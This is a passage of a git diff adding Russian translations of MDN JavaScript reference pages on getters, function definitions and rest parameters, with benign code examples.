+ <li>Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удаленный файл, и т. д.).</li>
+ <li>Если сейчас это значение не нужно. Оно будет использоваться позже, или в некоторых случаях оно не используется вообще.</li>
+ <li>Если оно используется, к нему будут обращаться несколько раз, и нет необходимости его пересчитывать, так как значение не будет изменено, или не должно пересчитываться.</li>
+</ul>
+
+<p>Значит, Вам не нужно использовать ленивый геттер для свойства, значение которого Вы собираетесь менять потому, что геттер не будет пересчитывать значение.</p>
+
+<p>В следующем примере у объекта есть геттер как собственное свойство. При получении свойства, свойство удаляется из объекта и вновь добавляется, но в этот раз неявно, как свойство с данными. В итоге значение возвращается.</p>
+
+<pre class="brush: js">get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById("bookmarked-notification-anchor");
+},</pre>
+
+<p>Для Firefox смотрите также модуль XPCOMUtils.jsm , который определяет функцию <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code>.</p>
+
+<h3 id="get_и_defineProperty"><code>get</code> и <code>defineProperty</code></h3>
+
+<p>Использование ключевого слова <code>get</code> и {{jsxref("Object.defineProperty()")}} дает похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.</p>
+
+<p>При использовании <code>get</code> свойство будет определено в прототипе объекта, в то время, как при использовании {{jsxref ("Object.defineProperty ()")}} свойство будет определено в экземпляре, к которому применяется.</p>
+
+<pre class="brush: js">class Example {
+  get hello() {
+    return 'world';
+  }
+}
+
+const obj = new Example();
+console.log(obj.hello);
+// "world"
+console.log(Object.getOwnPropertyDescriptor(obj, 'hello'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'hello'));
+// { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined }</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Добавлено вычисляемое именное свойство.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">сеттер</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/index.html b/files/ru/web/javascript/reference/functions/index.html
new file mode 100644
index 0000000000..0353eb3b84
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/index.html
@@ -0,0 +1,483 @@
+---
+title: Функции
+slug: Web/JavaScript/Reference/Functions
+tags:
+  - Функции
+  - Функция
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>В общем случае, функция — это "подпрограмма", которую можно <em>вызывать</em> из внешнего (или внутренного, в случае рекурсии) по отношению к функции кода. Как и сама программа, функция состоит из последовательности инструкций, называемой <em>телом функции.</em> Значения могут быть <em>переданы</em> в функцию, а функция <em>вернёт</em> значение.</p>
+
+<p>В JavaScript функции являются объектами первого класса, то есть: они являются объектами и с ними можно взаимодействовать и передавать их точно так же как любой другой объект. Если быть точным, функции — это обьекты <code><a href="ru/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a></code>.</p>
+
+<p>Больше подробностей и примеров можно найти в <a href="/ru/docs/Web/JavaScript/Guide/Functions">руководстве по функциям в JavaScript</a>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Каждая функция в JavaScript — это объект Function.  О свойствах и методах объектов Function можно прочитать в статье {{jsxref("Function")}}.</p>
+
+<p>Функции — это не процедуры. Функция всегда возвращает значение, а процедура может возвращать, а может не возвращать.</p>
+
+<p>Чтобы вернуть значение, отличное от значения по умолчанию, в функции должна быть инструкция <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/return">return</a></code>, которая указывает, что именно нужно вернуть. Функция без него вернёт значение по умолчанию. В случае <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">конструктора</a>, вызванного с ключевым словом <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/new">new</a>, </code>значение по умолчанию — это значение его параметра <code>this</code>. Для остальных функций значением по умолчанию будет <code>undefined</code>.</p>
+
+<p>Параметры вызова функции называются <em>аргументами</em> функции. Аргументы передаются в функцию <em>по значению</em>. Если функция изменяет значение аргумента, это изменение не отражается на глобальном состоянии или вызывающей функции. Однако ссылки на объекты — это тоже значения, и они отличаются тем, что если функция изменяет свойства объекта по ссылке, это изменение видно снаружи функции, как показано в примере ниже.</p>
+
+<pre class="brush: js">/* Объявляем функцию 'myFunc' */
+function myFunc(theObject) {
+   theObject.brand = "Toyota";
+ }
+
+ /*
+  * Объявляем переменную 'mycar';
+  * создаём и инициализируем новый Object;
+  * приравниваем 'mycar' к ссылке на него
+  */
+ var mycar = {
+   brand: "Honda",
+   model: "Accord",
+   year: 1998
+ };
+
+ /* Выведет 'Honda' */
+ console.log(mycar.brand);
+
+ /* Передаём ссылку на объект в функцию */
+ myFunc(mycar);
+
+ /*
+  * Выведет 'Toyota', так как значение свойства 'brand'
+  * было изменено внутри функции.
+  */
+ console.log(mycar.brand);
+</pre>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/this"><code>Ключевое слово this</code></a> не ссылается на функцию, которая выполняется в данный момент, поэтому вы должны обращаться к объектами Function по имени, даже внутри тела самой функции.</p>
+
+<h2 id="Defining_functions" name="Defining_functions">Определение функций</h2>
+
+<p>Есть несколько способов определить функцию:</p>
+
+<h3 id="The_function_declaration_.28function_statement.29" name="The_function_declaration_.28function_statement.29">Объявление функции (инструкция <code>function</code>)</h3>
+
+<p>Специальный синтаксис для объявления функций (более подробно: <a href="/ru/docs/Web/JavaScript/Reference/Statements/function">function statement</a>):</p>
+
+<pre>function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Имя аргумента, передаваемого в функцию. У функции может быть не более 255 аргументов.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции, из которых состоит тело функции.</dd>
+</dl>
+
+<h3 id="The_function_expression_.28function_operator.29" name="The_function_expression_.28function_operator.29">Функция-выражение (оператор <code>function</code>)</h3>
+
+<p>Функция-выражение похожа на определение функции и имеет такой же синтаксис (более подробно: <a href="/ru/docs/Web/JavaScript/Reference/Operators/function">function operator</a>):</p>
+
+<pre>function [<em>name</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции. Может быть не указано, в таком случае функция становится анонимной.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Имя аргумента, передаваемого в функцию. У функции может быть не более 255 аргументов.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции, из которых состоит тело функции.</dd>
+</dl>
+
+<h3 id="Стрелочная_функция-выражение_(>)">Стрелочная функция-выражение (=&gt;)</h3>
+
+<div class="note">
+<p><strong>Заметка:</strong> стрелочные функции являются экспериментальной технологией<em>,</em> частью спецификации ECMAScript 6 и пока что не поддерживаются всеми браузерами.</p>
+</div>
+
+<p>Стрелочные функции отличаются более кратким синтаксисом и тем, что они лексически связывают значение своего <code>this (подробнее об этом в статье <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a>):</code></p>
+
+<pre>([param] [, param]) =&gt; {
+   statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Имя параметра. Если параметров нет, вместо них нужно поставить (). Если параметров больше одного, их также нужно заключить в ().</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>Если инструкций несколько, их нужно заключить в {}. Для одного выражения фигурных скобок не требуется, а результат этого выражения будет возвращён функцией (то есть<code> функция x =&gt; 3 + 8 вернёт 11).</code><code> </code></dd>
+</dl>
+
+<h3 id="The_Function_constructor" name="The_Function_constructor">Конструктор <code>Function</code></h3>
+
+<div class="note">
+<p><strong>Заметка:</strong> Использовать конструктор Function не рекомендуется, так как он принимает тело функции в виде строки, а это может помешать оптимизациям, которые выполняют движки JavaScript, а также привести к другим проблемам.</p>
+</div>
+
+<p>Объекты {{jsxref("Function")}} можно создавать с помощью оператора <code>new </code>(как и любые другие объекты):</p>
+
+<pre>new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Ноль или больше имён параметров функции. Имя должно быть строкой, содержащей валидный идентификатор JavaScript. Если параметров несколько, они должны быть разделены запятыми. Например: "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>Инструкции, из которых состоит тело функции.</dd>
+</dl>
+
+<p>Конструктор <code>Function</code> можно вызывать и без оператора <code>new,</code> эффект будет тем же.</p>
+
+<h2 id="Параметры_функции">Параметры функции</h2>
+
+<div class="note">
+<p><strong>Примечание:</strong> Оставшиеся параметры и параметры по умолчанию <em>— это экспериментальная </em>технология, часть спецификации ECMAScript 6, и они пока ещё не получили широкой поддержки среди браузеров.</p>
+</div>
+
+<h3 id="Параметры_по_умолчанию">Параметры по умолчанию</h3>
+
+<p>Параметры функции по умолчанию позволяют инициалазировать формальные параметры со значениями по умолчанию, если им не было передано значение, или было передано <code>undefined</code>. Подробнее о них можно узнать в статье <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">Параметры по умолчанию</a>.</p>
+
+<h3 id="Оставшиеся_параметры">Оставшиеся параметры</h3>
+
+<p>Синтаксис оставшихся параметров позволяет передать бесконечное число аргументов как массив. Подробности можно найти в статье <a href="/ru/docs/Web/JavaScript/Reference/Functions/rest_parameters">Оставшиеся параметры</a>.</p>
+
+<h2 id="The_arguments_object" name="The_arguments_object">Объект <code>arguments</code></h2>
+
+<p>Внутри функции получить доступ к её аргументам можно через объект <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: Объект, похожий на массив и содержащий все аргументы, переданные в текущую функцию.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: Функция, исполняемая в текущий момент.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : Функция, которая вызвала текущую функцию.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: Число аргументов, переданных в функцию.</li>
+</ul>
+
+<h2 id="Определение_методов">Определение методов</h2>
+
+<h3 id="Геттеры_и_сеттеры">Геттеры и сеттеры</h3>
+
+<p>Можно определять геттеры (методы для чтения) и сеттеры (методы для изменения) для любого встроенного или пользовательского объекта, который поддерживает добавление новых свойств. Для этого используется синтаксис литерала объекта.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>Связывает свойство объекта с функцией, которая будет вызвана при обращении к свойству.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>Связывает свойство объекта с функцией, которая будет вызвана при попытке изменения свойства.</dd>
+</dl>
+
+<h3 id="Синтаксис_определения_методов">Синтаксис определения методов</h3>
+
+<div class="note">
+<p><strong>Примечание:</strong> <em>Определение методов — это экспериментальная </em>технология, часть спецификации ECMAScript 6, и она пока ещё не получила широкой поддержки среди браузеров.</p>
+</div>
+
+<p>Начиная с ECMAScript 6, можно определять собственные методы, использу более краткий синтаксис, похожий на геттеры и сеттеры. Более подробно  — в статье <a href="/ru/docs/Web/JavaScript/Reference/Functions/Method_definitions">Определение методов.</a></p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="Function_constructor_vs._function_declaration_vs._function_expression" name="Function_constructor_vs._function_declaration_vs._function_expression">Сравнение конструкторов <code>Function</code> с объявлением функций и функциями-выражениями</h2>
+
+<p>Посмотрите на следующие примеры:</p>
+
+<p>Функция, определённая через конструктор <code>Function</code> и приравненная к переменной <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = new Function("x", "y", "return x * y");</pre>
+
+<p>Объявление функции multiply:</p>
+
+<pre class="brush: js">function multiply(x, y) {
+   return x * y;
+}
+</pre>
+
+<p>Анонимная функция-выражение, приравненная к переменной<code> multiply:</code></p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+   return x * y;
+};
+</pre>
+
+<p><em>Функция-выражение</em> с именем <code>func_name</code>, приравненное к переменной<code> multiply:</code></p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+   return x * y;
+};
+</pre>
+
+<h3 id="Отличия">Отличия</h3>
+
+<p>Во всех случаях результат примерно одинаков, но есть несколько нюансов:</p>
+
+<p>Имя функции и переменная, к которой функция приравнена — это не одно и то же. Имя функции нельзя менять, а вот переменной, к которой приравнена функция, можно дать другое значение. В случае функции-выражения с именем, это имя может быть использовано только внутри самой функции. При попытке использовать его снаружи возникнет ошибка (а если ранее была объявлена переменная с таким именем, будет возвращено <code>undefined</code>). Например:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // выкинет ошибку
+</pre>
+
+<p>Также имя фукнции-выражения проявляется, если сериализовать функцию через метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/toString">Function.toString.</a></p>
+
+<p>А вот переменная, к которой функция приравнена, ограничена только собственной областью видимости, которая включает ту область, где функция была объявлена.</p>
+
+<p>Как показано в четвёртом примере, имя функции может отличаться от имени переменной, к которой функция приравнена, эти имена никак не связаны. Объявление функции (function declaration) также создаёт и переменную с именем, аналогичным имени функции. Таким образом:</p>
+
+<ol>
+ <li>Если функция определена с помощью функции-выражения (function expression), её имя доступно только внутри самой функции.</li>
+ <li>Если функция объявлена (function declaration), её имя доступно в той области видимости, где функция была определена.</li>
+</ol>
+
+<p>У функции, определённой с помощью '<code>new Function'</code>, нет имени.  Однако, в JavaScript движке <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, сериализованное представление функции отображается так, как будто оно имеет имя "anonymous". Например, , <code>alert(new Function())</code> выдаст:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>Так как на самом деле у функции нет имени, переменную <code>anonymous</code> нельзя использовать внутри функции. Например, следующий пример выкинет ошибку:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>В отличии от функций, определённых через функцию-выражение или конструктор <code>Function</code>, функция, определённая через объявление, может быть использована перед тем, как была определена. Например:</p>
+
+<pre class="brush: js">foo(); // выведет FOO!
+function foo() {
+   alert('FOO!');
+}
+</pre>
+
+<p>Функция, определённая через функцию-выражение, наследует текущую область видимости, то есть создаёт замыкание. А вот функция, созданная с помощью конструктора <code>Function</code>, не наследует ничего, кроме глобальной области видимости (её наследуют вообще все функции).</p>
+
+<p>Функции, определённые через функцию-выражение и объявление функции парсятся только один раз, в отличиии от функций, созданных с помощью конструктора. То есть строка, которая передаётся в конструктор <code>Function</code>, парсится при каждом вызове конструктора. И хотя функция-выражение каждый раз создаёт замыкание, тело функции при этом не парсится, и получается, что функции-выражение всё равно быстрее, чем "<code>new Function(...)</code>". Поэтому конструктора <code>Function</code> в большинстве случаев стоит избегать, если это возможно.</p>
+
+<p>Стоит отметить, что функции-выражения и объявления функций внутри функции, созданной при парсинге конструктора <code>Function</code>, парсятся только один раз. Например:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); //  "function() {\n\talert(bar);\n}" Эта часть строки, составляющей тело функции, не парсится во второй раз.</pre>
+
+<p>Объявление функции можно очень легко (и часто случайно) превратить в функцию-выражение. Объявление функции перестаёт быть таковым, если оно:</p>
+
+<ul>
+ <li>становится частью выражения</li>
+ <li>не является "исходным элементом" функции или файла. Исходный элемент  - это не вложенный элемент внутри функции или скрипта:</li>
+</ul>
+
+<pre class="brush: js">var x = 0;               // исходный элемент
+if (x == 0) {            // исходный элемент
+   x = 10;               // не исходный элемент
+   function boo() {}     // не исходный элемент
+}
+function foo() {         // исходный элемент
+   var y = 20;           // исходный элемент
+   function bar() {}     // исходный элемент
+   while (y == 10) {     // исходный элемент
+      function blah() {} // не исходный элемент
+      y++;               // не исходный элемент
+   }
+}
+</pre>
+
+<h3 id="Примеры">Примеры</h3>
+
+<pre class="brush: js">// объявление функции
+function foo() {}
+
+// функция-выражение
+(function bar() {})
+
+// функция-выражение
+x = function hello() {}
+
+
+if (x) {
+   // функция-выражение
+   function world() {}
+}
+
+
+// объявление функции
+function a() {
+   // обявление функции
+   function b() {}
+   if (0) {
+      // функция-выражение
+      function c() {}
+   }
+}
+</pre>
+
+<h2 id="Conditionally_defining_a_function" name="Conditionally_defining_a_function">Определение функции в зависимости от условия</h2>
+
+<p>Функции могут быть определены в зависимости от условий с помощью инструкции <code>function (разрешённое расширение стандарта</code> <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262 Edition 3</a>) или конструктора <code>Function</code>. Обратите внимание, что подобные инструкции <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=609832">запрещены в ES5 strict</a>. Кроме того, эта возможность по-разному ведёт себя в разных браузерах, поэтому не стоит на неё рассчитывать.</p>
+
+<p>В коде ниже функция <code>zero</code> никогда не будет определена и не может быть вызвана, потому что '<code>if (0)</code>' всегда расценивается как <code>false</code>:</p>
+
+<pre class="brush: js">if (0) {
+   function zero() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<p>Если изменить условие на  '<code>if (1)</code>', функция <code>zero</code> будет определена.</p>
+
+<p>Заметьте, что хотя это выглядит как объявление функции, на самом деле, это функция-выражение (или инструкция), так как она вложена внутрь другой инструкции. Изучите разницу между объявлением функции и функцией-выражением.</p>
+
+<p>Некоторые JavaScript-движки (но не <a href="/en-US/docs/SpiderMonkey">SpiderMonkey</a>), неверно считают любую функцию-выражение с именем за объявление функции. Это приводит к тому, что функция <code>zero</code> будет определена, даже если условие всегда <code>false</code>. Более безопасный способ определить функцию по условию - это сделать её анонимной и приравнять к переменной:</p>
+
+<pre class="brush: js">if (0) {
+   var zero = function() {
+      document.writeln("This is zero.");
+   }
+}
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Returning_a_formatted_number" name="Example:_Returning_a_formatted_number">Пример: возврат отформатированного числа</h3>
+
+<p>Эта функция возвращает строку, содержащую число с заданным количеством нулей перед ним:</p>
+
+<pre class="brush: js">function padZeros(num, totalLen) {
+   var numStr = num.toString();             // Инициализировать возвращаемое значение в виде строки
+   var numZeros = totalLen - numStr.length; // Посчитать число нулей в начале
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>Вызовем <code>padZeros</code>:</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // возвращает "0042"
+result = padZeros(42,2); // возвращает "42"
+result = padZeros(5,4);  // возвращает "0005"
+</pre>
+
+<h3 id="Example:_Determining_whether_a_function_exists" name="Example:_Determining_whether_a_function_exists">Пример: существует ли функция</h3>
+
+<p>Можно определить, существует ли функция с помощью оператора <code>typeof</code>. В следующем примере проверяется, есть ли у объекта <code>window</code> функция <code>noFunc</code>. Если есть, то она вызывается; если нет, выполняется какое-то другое действие.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+   // вызывать noFunc()
+ } else {
+   // сделать что-то другое
+ }
+</pre>
+
+<p>Заметьте, что в проверке условия используется ссылка на <code>noFunc</code> — после имени функции нет скобок, поэтому сама функция не вызывается.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Релизовано в JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Новое: стрелочные функции, генераторы, параметры по умолчанию, оставшиеся параметры</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/function">Инструкция<code> function</code></a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/function">Оператор<code> function</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/rest_parameters/index.html b/files/ru/web/javascript/reference/functions/rest_parameters/index.html
new file mode 100644
index 0000000000..14d9c1e334
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/rest_parameters/index.html
@@ -0,0 +1,209 @@
+---
+title: Оставшиеся параметры (rest parameters)
+slug: Web/JavaScript/Reference/Functions/Rest_parameters
+tags:
+  - JavaScript
+  - Оставшиеся параметры
+  - Функции
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}} </div>
+
+<p>Синтаксис <strong>оставшихся параметров</strong> функции позволяет представлять неограниченное множество аргументов в виде массива.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js notranslate">function(a, b, ...theArgs) {
+  // ...
+}
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Если последний именованный аргумент функции имеет префикс <code>...</code>, он автоматически становится массивом с элементами от <code>0</code> до <code>theArgs.length-1</code> в соответствии с актуальным количеством аргументов, переданных в функцию.</p>
+
+<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("один", "два", "три", "четыре", "пять", "шесть");
+
+// Console Output:
+// a, один
+// b, два
+// manyMoreArgs, [три, четыре, пять, шесть]
+</pre>
+
+<h3 id="Отличия_оставшихся_параметров_от_объекта_arguments">Отличия оставшихся параметров от объекта <code>arguments</code></h3>
+
+<p>Существует три основных отличия оставшихся параметров от объекта <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments"><code>arguments</code></a>:</p>
+
+<ul>
+ <li>оставшиеся параметры включают только те, которым не задано отдельное имя, в то время как объект <code>arguments</code> содержит все аргументы, передаваемые в функцию;</li>
+ <li>объект <code>arguments</code> не является массивом, в то время как оставшиеся параметры являются экземпляром <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> и методы <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/sort" title="Array sort method"><code>sort</code></a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="Array map method"><code>map</code></a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Array forEach method"><code>forEach</code></a> или <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="Array pop method"><code>pop</code></a> могут непосредственно у них использоваться;</li>
+ <li>объект <code>arguments</code> имеет дополнительную функциональность, специфичную только для него (например, свойство <code>callee</code>).</li>
+</ul>
+
+<h3 id="Из_аргументов_в_массив">Из аргументов в массив</h3>
+
+<p>Оставшиеся параметры были введены для уменьшения количества шаблонного кода:</p>
+
+<pre class="brush: js notranslate">// До появления оставшихся параметров "arguments" конвертировали в обычный массив используя:
+
+function f(a, b) {
+
+  var normalArray = Array.prototype.slice.call(arguments);
+  // -- или --
+  var normalArray = [].slice.call(arguments);
+  // -- или --
+  var normalArray = Array.from(arguments);
+
+  var first = normalArray.shift(); // OK, даёт первый аргумент
+  var first = arguments.shift(); // ERROR (arguments не является обычным массивом)
+
+}
+
+// Теперь мы можем легко получить оставшиеся параметры как обычный массив
+
+function f(...args) {
+  var normalArray = args;
+  var first = normalArray.shift(); // OK, даёт первый аргумент
+}</pre>
+
+<h3 id="Деструктуризация_оставшихся_параметров">Деструктуризация оставшихся параметров</h3>
+
+<p>Оставшиеся парамерты могут быть деструктуризованы (только массивы). Это означает, что их данные могут быть заданы как отдельные значения. Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктурирующее присваивание</a>.</p>
+
+<pre class="notranslate"><code>function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1)          // NaN (b и c равны undefined)
+f(1, 2, 3)    // 6
+f(1, 2, 3, 4) // 6 (четвёртый параметр не деструктурирован)</code></pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>В этом примере первый аргумент задан как <code>"a"</code>, второй как <code>"b"</code>, так что эти аргументы используются как обычно. Однако третий аргумент <code>"manyMoreArgs"</code> будет массивом, который содержит 3-й, 4-й, 5-й, 6-й ... n-й аргументы, которые передаст пользователь.</p>
+
+<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("один", "два", "три", "четыре", "пять", "шесть");
+
+// a, один
+// b, два
+// manyMoreArgs, [три, четыре, пять, шесть]</pre>
+
+<p>Ниже... даже если передано одно значение последним аргументом, оно всё равно помещается в массив.</p>
+
+<pre class="brush: js notranslate">// использование той же функции, что и в примере выше
+
+myFun("один", "два", "три");
+
+// a, один
+// b, два
+// manyMoreArgs, [три]</pre>
+
+<p>Ниже... третий аргумент не был передан, но "manyMoreArgs" всё ещё массив (хотя и пустой).</p>
+
+<pre class="brush: js notranslate">// использование той же функции, что и в примере выше
+
+myFun("один", "два");
+
+// a, один
+// b, два
+// manyMoreArgs, []</pre>
+
+<p>Поскольку <code>theArgs</code> является массивом, количество элементов в нём определяется свойством <code>length</code>:</p>
+
+<pre class="brush: js notranslate">function fun1(...theArgs) {
+  console.log(theArgs.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3</pre>
+
+<p>В следующем примере, оставшиеся параметры используются для сбора всех аргументов после первого в массив. Каждый из них умножается на первый параметр и возвращается массив:</p>
+
